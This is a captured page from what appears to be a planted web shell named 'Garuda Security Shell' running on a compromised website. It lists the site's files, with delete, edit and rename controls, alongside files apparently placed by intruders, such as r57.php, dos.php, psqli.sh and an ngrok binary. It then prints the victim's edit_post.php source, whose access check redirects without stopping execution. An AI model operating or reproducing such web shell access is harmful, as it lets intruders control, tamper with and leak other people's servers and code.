GARUDA SECURITY SHELL
/
home2
/
freedon9
/
public_html
/
steveshead-io
/
Nama File / Folder
Size
Action
.well-known
--
NONE
admin
--
NONE
ai
--
NONE
api
--
NONE
cgi-bin
--
NONE
css
--
NONE
email-templates
--
NONE
fonts
--
NONE
images
--
NONE
includes
--
NONE
ipn
--
NONE
js
--
NONE
lib
--
NONE
login
--
NONE
pagebuilder
--
NONE
review_imgs
--
NONE
revolution
--
NONE
sqli
--
NONE
templates
--
NONE
uploads
--
NONE
video
--
NONE
config.php
1.242KB
Hapus
Edit
Rename
contact.php
3.98KB
Hapus
Edit
Rename
dos.php
1.298KB
Hapus
Edit
Rename
edit_post.php
9.858KB
Hapus
Edit
Rename
edit_profile.php
8.036KB
Hapus
Edit
Rename
gelay.php
6.812KB
Hapus
Edit
Rename
get.php
1.115KB
Hapus
Edit
Rename
heart.svg
1.268KB
Hapus
Edit
Rename
igfi.py
85.205KB
Hapus
Edit
Rename
ngrok
25.56MB
Hapus
Edit
Rename
null.php
2.963KB
Hapus
Edit
Rename
nw
2.011KB
Hapus
Edit
Rename
order-details-template.php
2.656KB
Hapus
Edit
Rename
posts_author.php
7.579KB
Hapus
Edit
Rename
posts_category.php
7.458KB
Hapus
Edit
Rename
psqli.sh
208.997KB
Hapus
Edit
Rename
r57.php
101.077KB
Hapus
Edit
Rename
reviews.php
9.789KB
Hapus
Edit
Rename
search.php
8.298KB
Hapus
Edit
Rename
telexa.js
0.986KB
Hapus
Edit
Rename
template.php
0.179KB
Hapus
Edit
Rename
ve.zip
1.99MB
Hapus
Edit
Rename
<=Back
<?php $pagename = 'edit_post'; include 'admin/includes/controller.php'; include 'includes/header.php'; include 'includes/navigation.php'; if ($user_details['userlevel'] < 3) { header("Location: /"); } // Get requested ID $id = $_GET['id']; if (!isset($id)) { header("Location: posts.php"); } $stmt = $db->prepare("SELECT * FROM posts WHERE id = ?"); $stmt->execute([$id]); $update = $stmt->fetch(); $msg = ''; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["category"])) { $msg .= "Category is required<br>"; } if (empty($_POST["heading"])) { $msg .= "Heading is required<br>"; } if (empty($_POST["text"])) { $msg .= "Text is required<br>"; } } if (empty($msg)) { $status = isset($_POST['submit']) ? 'published' : 'draft'; if (isset($_POST['submit']) || isset($_POST['draft'])) { $author = $_POST['author']; $updated = date('Y-m-d H:i:s'); $image = $_FILES['fileToUpload']['name']; $category = $_POST['category']; $heading = $_POST['heading']; $text = $_POST['text']; $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); if (!empty($image)) { // Check if image file is a actual image or fake image $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if ($check !== false) { $uploadOk = 1; } else { $msg .= "File is not an image. "; $uploadOk = 0; } // Check if file already exists if (file_exists($target_file)) { $msg .= "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 500000) { $msg .= "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if ($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "jpeg" && $imageFileType !== "gif") { $msg .= "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { $msg .= " Your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { $sql = "UPDATE posts SET author = ?, image = ?, category = ?, heading = ?, text = ?, updated = ?, status = ? WHERE id = ?"; $db->prepare($sql)->execute([$author, $image, $category, $heading, $text, $updated, $status, $id]); if ($status == 'published') { $_SESSION['message'] = "<div class='text-success'><h6 class='mb-0'>Post updated successfully</h6></div>"; } else { $_SESSION['message'] = "<div class='text-success'><h6 class='mb-0'>Post saved as draft</h6></div>"; } header("Location: edit_post.php?id=$id"); exit(); } else { $msg .= " Sorry, there was an error."; } } } else { $sql = "UPDATE posts SET author = ?, category = ?, heading = ?, text = ?, updated = ?, status = ? WHERE id = ?"; $db->prepare($sql)->execute([$author, $category, $heading, $text, $updated, $status, $id]); if ($status == 'published') { $_SESSION['message'] = "<div class='text-success'><h6 class='mb-0'>Post updated successfully</h6></div>"; } else { $_SESSION['message'] = "<div class='text-success'><h6 class='mb-0'>Post saved as draft</h6></div>"; } header("Location: edit_post.php?id=$id"); exit(); } } } ?> <script src="https://cdn.tiny.cloud/1/pumeoohukkw6yore8rs2frkuj2dhp2ol4mdfzk67k4ivhloc/tinymce/5/tinymce.min.js" referrerpolicy="origin"></script> <!-- start section --> <section class="bg-light-gray overflow-visible"> <div class="container"> <div class="z-index-6 bg-white box-shadow-large padding-8-rem-all md-padding-5-rem-all xs-padding-4-rem-tb xs-padding-2-rem-lr wow animate__fadeIn" data-wow-delay="0.4s"> <div class="row justify-content-center"> <div class="col-12 col-xl-6 col-lg-7 text-center margin-4-half-rem-bottom md-margin-3-rem-bottom"> <span class="alt-font letter-spacing-minus-1-half text-extra-medium d-block margin-5px-bottom">Fill out the form to edit your post!</span> <h4 class="alt-font font-weight-600 text-extra-dark-gray">Edit Your Post</h4> <?php if (isset($_SESSION['message'])) { echo $_SESSION['message']; unset($_SESSION['message']); } ?> <?php if (!empty($msg)) { echo "<div class='text-danger'>" . $msg . "</div>"; } ?> </div> <div class="col-12"> <!-- start form --> <form action="edit_post.php?id=<?= $update['id'] ?>" method="POST" enctype="multipart/form-data"> <div class="row row-cols-1 row-cols-md-2"> <div class="col-lg-12 mb-3 sm-margin-25px-bottom"> <div class="row"> <div class="col-lg-6"> <?php $data = $db->query("SELECT * FROM categories")->fetchAll(); ?> <select class="form-select p-3 bg-white margin-25px-bottom required" name="category" aria-label="Default select example"> <option selected><?= htmlspecialchars($update['category']) ?></option> <?php foreach ($data as $row) : ?> <option value="<?= $row['name'] ?>"><?= htmlspecialchars($row['name']) ?></option> <?php endforeach; ?> </select> </div> <div class="col-lg-6"> <input class="medium-input bg-white margin-25px-bottom required" type="text" name="author" value="<?= htmlspecialchars($update['author']) ?>" readonly> </div> <div class="col-lg-12"> <input class="medium-input bg-white margin-25px-bottom required" type="text" name="heading" value="<?= htmlspecialchars($update['heading']) ?>"> </div> </div> <div class="row"> <div class="col-lg-5"> <input class="form-control fw-light" type="file" name="fileToUpload" id="fileToUpload" placeholder="Image"> </div> <div class="col-lg-7"> <p>Replace the primary post image</p> </div> </div> </div> <div class="col-lg-12 margin-4-rem-bottom sm-margin-20px-bottom"> <textarea class="medium-textarea bg-white h-130px" name="text" id="floatingText" style="height: 100px"><?= htmlentities($update['text']) ?></textarea> <script> tinymce.init({ selector: 'textarea', plugins: 'advlist autolink lists link image charmap print preview hr anchor pagebreak paste table imagetools media codesample code', toolbar_mode: 'floating', toolbar: 'undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | outdent indent numlist bullist codesample code', height: "480", codesample_global_prismjs: true, images_upload_url: 'includes/postAcceptor.php', images_upload_base_path: '/', images_upload_credentials: true, }); </script> </div> <div class="col text-start sm-margin-25px-bottom"></div> <div class="col text-center text-md-end"> <input class="btn btn-sm btn-success d-table d-lg-inline-block lg-margin-15px-bottom md-margin-auto-lr float-end" name="submit" type="submit" value="Update Post"> <input class="btn btn-sm btn-warning d-table d-lg-inline-block lg-margin-15px-bottom md-margin-auto-lr float-end me-3" name="draft" type="submit" value="Save Draft"> <a href="post.php?id=<?= $id ?>" class="btn btn-sm btn-primary d-table d-lg-inline-block lg-margin-15px-bottom md-margin-auto-lr float-end me-3">View Post</a> </div> </div> </form> <!-- end form --> </div> </div> </div> </div> </section> <?php include 'includes/footer.php'; ?>
Liking